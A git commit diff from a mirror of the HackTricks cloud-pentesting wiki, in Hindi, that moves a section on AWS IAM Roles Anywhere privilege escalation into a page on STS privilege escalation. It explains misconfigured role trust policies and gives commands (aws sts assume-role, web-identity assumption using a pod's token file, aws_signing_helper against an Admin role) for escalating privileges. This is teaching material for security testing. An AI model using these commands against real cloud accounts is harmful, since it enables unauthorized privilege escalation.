mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-10 12:13:17 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -1,42 +0,0 @@
|
||||
# AWS - IAM Roles Anywhere Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
AWS IAM RolesAnywhere बाहरी कार्यभार को X.509 प्रमाणपत्रों का उपयोग करके IAM भूमिकाएँ ग्रहण करने की अनुमति देता है। लेकिन जब विश्वास नीतियाँ सही तरीके से सीमित नहीं होती हैं, तो उनका दुरुपयोग किया जा सकता है।
|
||||
|
||||
इस नीति में यह निर्धारित करने के लिए कोई प्रतिबंध नहीं है कि कौन सा विश्वास एंकर या प्रमाणपत्र विशेषताएँ अनुमति प्राप्त हैं। परिणामस्वरूप, खाते में किसी भी विश्वास एंकर से जुड़े किसी भी प्रमाणपत्र का उपयोग इस भूमिका को ग्रहण करने के लिए किया जा सकता है।
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Service": "rolesanywhere.amazonaws.com"
|
||||
},
|
||||
"Action": [
|
||||
"sts:AssumeRole",
|
||||
"sts:SetSourceIdentity",
|
||||
"sts:TagSession"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
```
|
||||
प्रिवेस्क के लिए, `aws_signing_helper` की आवश्यकता है https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html से
|
||||
|
||||
फिर एक मान्य प्रमाणपत्र का उपयोग करके, हमलावर उच्च विशेषाधिकार भूमिका में प्रवेश कर सकता है
|
||||
```bash
|
||||
aws_signing_helper credential-process \
|
||||
--certificate readonly.pem \
|
||||
--private-key readonly.key \
|
||||
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
|
||||
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
|
||||
--role-arn arn:aws:iam::123456789012:role/Admin
|
||||
```
|
||||
### संदर्भ
|
||||
|
||||
- https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation/
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -8,7 +8,7 @@
|
||||
|
||||
हर भूमिका एक **भूमिका ट्रस्ट नीति** के साथ बनाई जाती है, यह नीति **यह दर्शाती है कि कौन बनाई गई भूमिका को ग्रहण कर सकता है**। यदि **एक ही खाते** से एक भूमिका कहती है कि एक खाता इसे ग्रहण कर सकता है, तो इसका मतलब है कि खाता भूमिका तक पहुँच प्राप्त कर सकेगा (और संभावित रूप से **privesc** कर सकेगा)।
|
||||
|
||||
उदाहरण के लिए, निम्नलिखित भूमिका ट्रस्ट नीति यह दर्शाती है कि कोई भी इसे ग्रहण कर सकता है, इसलिए **कोई भी उपयोगकर्ता उस भूमिका से संबंधित अनुमतियों के लिए privesc कर सकेगा**।
|
||||
उदाहरण के लिए, निम्नलिखित भूमिका ट्रस्ट नीति यह दर्शाती है कि कोई भी इसे ग्रहण कर सकता है, इसलिए **कोई भी उपयोगकर्ता उस भूमिका से संबंधित अनुमतियों तक privesc कर सकेगा**।
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -30,8 +30,8 @@ aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
|
||||
**संभावित प्रभाव:** भूमिका के लिए प्रिवेस्क।
|
||||
|
||||
> [!CAUTION]
|
||||
> ध्यान दें कि इस मामले में अनुमति `sts:AssumeRole` को **दुरुपयोग करने के लिए भूमिका में** **संकेतित** किया जाना चाहिए और हमलावर की नीति में नहीं।\
|
||||
> एक अपवाद के साथ, **किसी अन्य खाते से भूमिका को ग्रहण करने के लिए** हमलावर खाते को **भी** भूमिका पर **`sts:AssumeRole`** होना चाहिए।
|
||||
> ध्यान दें कि इस मामले में अनुमति `sts:AssumeRole` को **दुरुपयोग के लिए भूमिका में इंगित किया जाना चाहिए** और हमलावर की नीति में नहीं।\
|
||||
> एक अपवाद के साथ, **किसी अन्य खाते से भूमिका को मान लेना** के लिए हमलावर खाते को **भी** भूमिका पर **`sts:AssumeRole`** होना चाहिए।
|
||||
|
||||
### **`sts:GetFederationToken`**
|
||||
|
||||
@@ -97,10 +97,49 @@ onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --
|
||||
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
||||
# The role name can be found in the metadata of the configuration of the pod
|
||||
```
|
||||
### संघीय दुरुपयोग
|
||||
### Federation Abuse
|
||||
|
||||
{{#ref}}
|
||||
../aws-basic-information/aws-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### IAM Roles Anywhere Privesc
|
||||
|
||||
AWS IAM RolesAnywhere बाहरी कार्यभारों को X.509 प्रमाणपत्रों का उपयोग करके IAM भूमिकाएँ ग्रहण करने की अनुमति देता है। लेकिन जब विश्वास नीतियाँ सही तरीके से परिभाषित नहीं होती हैं, तो उनका दुरुपयोग किया जा सकता है।
|
||||
|
||||
इस नीति में यह निर्धारित करने के लिए कोई प्रतिबंध नहीं है कि कौन सा विश्वास एंकर या प्रमाणपत्र विशेषताएँ अनुमति प्राप्त हैं। परिणामस्वरूप, खाते में किसी भी विश्वास एंकर से जुड़े किसी भी प्रमाणपत्र का उपयोग इस भूमिका को ग्रहण करने के लिए किया जा सकता है।
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Service": "rolesanywhere.amazonaws.com"
|
||||
},
|
||||
"Action": [
|
||||
"sts:AssumeRole",
|
||||
"sts:SetSourceIdentity",
|
||||
"sts:TagSession"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
```
|
||||
प्रिवेस्क के लिए, `aws_signing_helper` की आवश्यकता है https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html से
|
||||
|
||||
फिर एक मान्य प्रमाणपत्र का उपयोग करके, हमलावर उच्च विशेषाधिकार भूमिका में प्रवेश कर सकता है
|
||||
```bash
|
||||
aws_signing_helper credential-process \
|
||||
--certificate readonly.pem \
|
||||
--private-key readonly.key \
|
||||
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
|
||||
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
|
||||
--role-arn arn:aws:iam::123456789012:role/Admin
|
||||
```
|
||||
### संदर्भ
|
||||
|
||||
- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user